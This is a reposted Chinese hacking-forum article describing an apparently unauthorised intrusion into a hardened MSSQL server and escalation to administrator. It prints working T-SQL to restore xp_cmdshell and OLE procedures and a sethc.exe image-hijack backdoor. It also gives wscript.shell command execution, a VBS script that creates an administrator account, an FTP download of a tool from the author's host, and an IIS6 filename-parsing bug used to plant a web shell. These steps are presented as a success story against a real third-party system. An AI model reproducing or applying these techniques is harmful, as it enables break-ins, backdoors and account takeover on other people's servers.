刀城技术网-信息安全,服务器安全维护,网站安全维护

当前位置: 网站主页 > 数据安全 > MSSQL注入 >

对某一NX服务器的MSSQL渗透提权

时间:2012-06-05 23:04来源:http://forum.cnsec.org 作者:音符 点击:
作者:音符 原文地址: http://forum.cnsec.org/forum-viewthread-tid-73732-highlight-mssql.html 今天下午,貌似没有什么事情做就上了暗组看到有朋友在问一个网站的拿shell问题就进去帮帮忙最后拿下了webshell,贪心是我一贯的风格,拿到shell之后就想到了
作者:音符
原文地址:
http://forum.cnsec.org/forum-viewthread-tid-73732-highlight-mssql.html



今天下午,貌似没有什么事情做就上了暗组看到有朋友在问一个网站的拿shell问题就进去帮帮忙最后拿下了webshell,贪心是我一贯的风格,拿到shell之后就想到了提权,然后服务器上某个目录翻到了mssql连接文件,于是有了这个文章(虽然与原来的网站服务器不是同一台,但是本来就是随便玩玩的),如果不是我技术太烂的话拿真的是很NX防护服务器。

OK话不多说了,进入主题。

本来以为很简单直接用工具连接了,随便执行一个whoami命令就出了问题。如图1 1.jpg

 

Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 这个是老对手了,拿出sql查询分析器

这个时候我不知道大家是怎样对付的,但是我一般是添加shift后门了。

有人会问难道是什么copy什么到sethc?

no那太没有难度了,而且怎么执行呢,我的方法是加一个映像劫持。

代码如下


create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
//先讲所有的存储过程都恢复一遍省得麻烦
然后执行
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',
'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'

这句代码的意思的将sethc劫持为任务管理器,结果如图2.
2.jpg

然后我们可以用这句代码查查有没有劫持成功exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'结果如图3
3.jpg

劫持成功

 

原来以为这次渗透就此结束没想到远程登录之后麻烦不断。

别说敲5下shift了 500下都敲了硬是什么都没有,然后我以为是taskgmr被设置了权限又换了explorer跟cmd发现都不行,这样的结果要吗是都被设置了权限要吗是sethc被设置了权限,那只能另寻他路了。

我想到既然错误是Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)

那么也就是说cmd被删除了或者cmd被限制了权限

我利用工具查了一下cmd存在也就是说被限制了权限,那么我们怎么突破呢?

我的方法是利用sp_oacreate跟sp_oamethod这两个存储过程。

用sp_oacreate执行cmd可以定义cmd路径但是不能看到回显,其实我们只要在命令后面加个>x.txt这样就可以读文件看到回显了。然后我先是执行了


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c whoami >c:\1.txt'
这个命令然后去c:\1.txt查看确定是system权限没有被降权

然后我又执行了

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c net user >c:\1.txt'

这个时候1.txt就不能读取了,想来是net权限禁止了

后来还发现net1被删除了。

我似乎又一次陷入绝境

然后我就想到了写文件执行然后ftp下载一个net1到服务器上

于是利用了命令写文件


declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
汗,这个是VBS无net提权命令,我不想再慢慢写了。。忙

改的地方就是写入的内容跟存放的位置了

我写在c:\2.txt

内容为

open xxx

name

pass

get x.exe

bye

然后就是执行

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c ftp -s c:\2.txt'

(可能有写错,我忘记了,大家百度下)

然后观察自己服务器上ftp server日志没有登录

看来ftp也被限制了

一计不成又生一计

我自认为(以下是小弟的猜想了,大家看看不对就指出吧)

 


我们建立的账户在注册表里面是可以查到的,那么我们一台电脑是否有这个账户应该也是可以通过注册表来查询的

 

那么我在本地建立了一个账户然后导出这个账户的reg(就像大家平时建立隐藏账户那样,知道我就不浪费口舌了)

然后将这些数据导入到服务器的注册表是不是就说明在服务器上建立了一个账户并且不用利用到net呢?


就这个试了一下,用刚才那个命令写了reg文件后来居然发现管理员管的太严了,reg文件居然不能保存那么我就只好保存成txt文件幸好依旧可以导入,但是成功导入后我用远程登录了一下居然还是不能成功登录进去(无语了,不过YY无罪嘛)

 


2计不成,再生一计

通过查看目录在d:\Program Files\Serv-U\有ser-u安装哦,如图4
4.jpg

 

读取了d:\Program Files\Serv-U\ServUDaemon.ini

发现在E盘下有个用户

我就在本地建立一个ftp,然后将原来的ServUDaemon.ini down下来备份了,然后利用写文件命令将本地的ServUDaemon.ini上传上去,如图5. 5.jpg

但是在登陆的时候发现根本无法登录,然后执行命令

 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c netstat -an>c:\1.txt'发现端口根本没开

执行

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c tasklist'也根本看不到ser-u的程序。

看来ser-u没有运行,我利用命令执行了d:\Program Files\Serv-U\ServUAdmin.exe d:\Program Files\Serv-U\ServUDaemon.exe

再用tasklist查看发现都不能运行。思绪又僵了。


当然,我最后想到了方法(不然也不会写这篇文章了)

我想这个既然是服务器,并且netstat-an查看开了80端口 如图6
6.jpg

 

那么应该是有网站挂在上面的用i.linkhelper.cn/sameip.asp查了一下,发现了一个让我很无语的网站

如图7
7.jpg

 

居然是在建设中,但是这个也给我们一个契机——至少网站运行着。

然后我就开始找网站目录了。

一开始找了d:\web e:\web这些目录

里面一大堆网站没有一个是对的

突然想到显示“建设中”这个错误的不是默认目录么

对自己无语了,直接来到c:\Inetpub\wwwroot\找到了网站目录。。

用写文件命令写了一个一句话木马进去,但是这里有个麻烦

不能写asa asp cer cdx这种文件格式,(这就是我说的服务器NX的地方,连什么exe什么都不能搞)

然后我就想到了IIS6.0漏洞于是写了个1.asa;jpg成功写入一句话木马

如图8
8.jpg

 

用lake2eval连接成功如图9,
9.jpg

然后本来想拉个大马上去的却发现根本无法写入,没有权限。

 

这就无语了,我特地搞了个wwwroot路径就是为了上传大马然后上传ftp net1这样的exe的,居然什么都不能上传,难不成是鸡肋。

最后我想到了对策

聪明的同学们回答


除了全民闷骚的日本人还有谁可以想进就进的?

 

 


对,就是webshell常用提权目录那些垃圾箱什么的

 

我直接用中国菜刀连接上,如图10
10.jpg

 

然后上传了一个net1.exe,当然是不成功的

于是有了以下猜想


既然cmd.exe我们可以用文件command.com替代

 

那么例如net1.exe可不可以用net1.com替代呢?


答案是肯定的,net1.com上传成功,并且可以执行

 

执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c c:\recycler\net1.com user >1.txt'

结果如图11,
11.jpg

但是我执行declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\command.com /c c:\recycler\net1.com user yinfu$ yinfu>1.txt'却不行了,1.txt无法读取也就是说没有建立用户的权限。

 

怎么办呢?

聪明的你可以想到,一开始就出来了

那个无net提权vbs脚本 上传cscript.exe改名c.com

然后执行declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c c:\recycler\c.com c:\1.vbs>c:\1.txt'

结果如图12
12.jpg

 

也就是执行成功

我们远程登录看看 账号test 密码1234 如图13

13.jpg

 

成功登陆,渗透完美结束

 


另外废话几句,可能有人想问了。

 

为什么不直接写出成功的方法要废话这么多,我想说的是给大家更多交流的机会,可能某个方式在这个服务器不能用但可能下次就可以用大家可以多积累经验吧。

OK 就这样了,我写这些东西是希望暗组的大大多出来写写文章帮助下我们这些小菜鸟前进,我不喜欢有一点小东西老藏着掖着的没有男人的风格了。

另外有没有知道怎么把屏幕录制的视频压缩到最小,我想做视频了,码字太累了还要截图。还有能有谁知道免费的空间申请我想开个blog,谢谢。

 


 

(责任编辑:刀)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
验证码:点击我更换图片
栏目列表
推荐内容
  • 渗透居然之家网站

    前言 在用百度mp3听音乐的时候,看到了一个叫居然家居的公司的广告,百度了一下,做的...

  • Sa提权sql语句大全

    看文章中有提到lake2,文章应当是他写的吧。我稍微整理了一下,by daokers...

  • 清理数据库批量挂马

    数据库批量挂马,已经成为挂马的一种主要方式,网上也有许多不同的挂马代码被站长们公...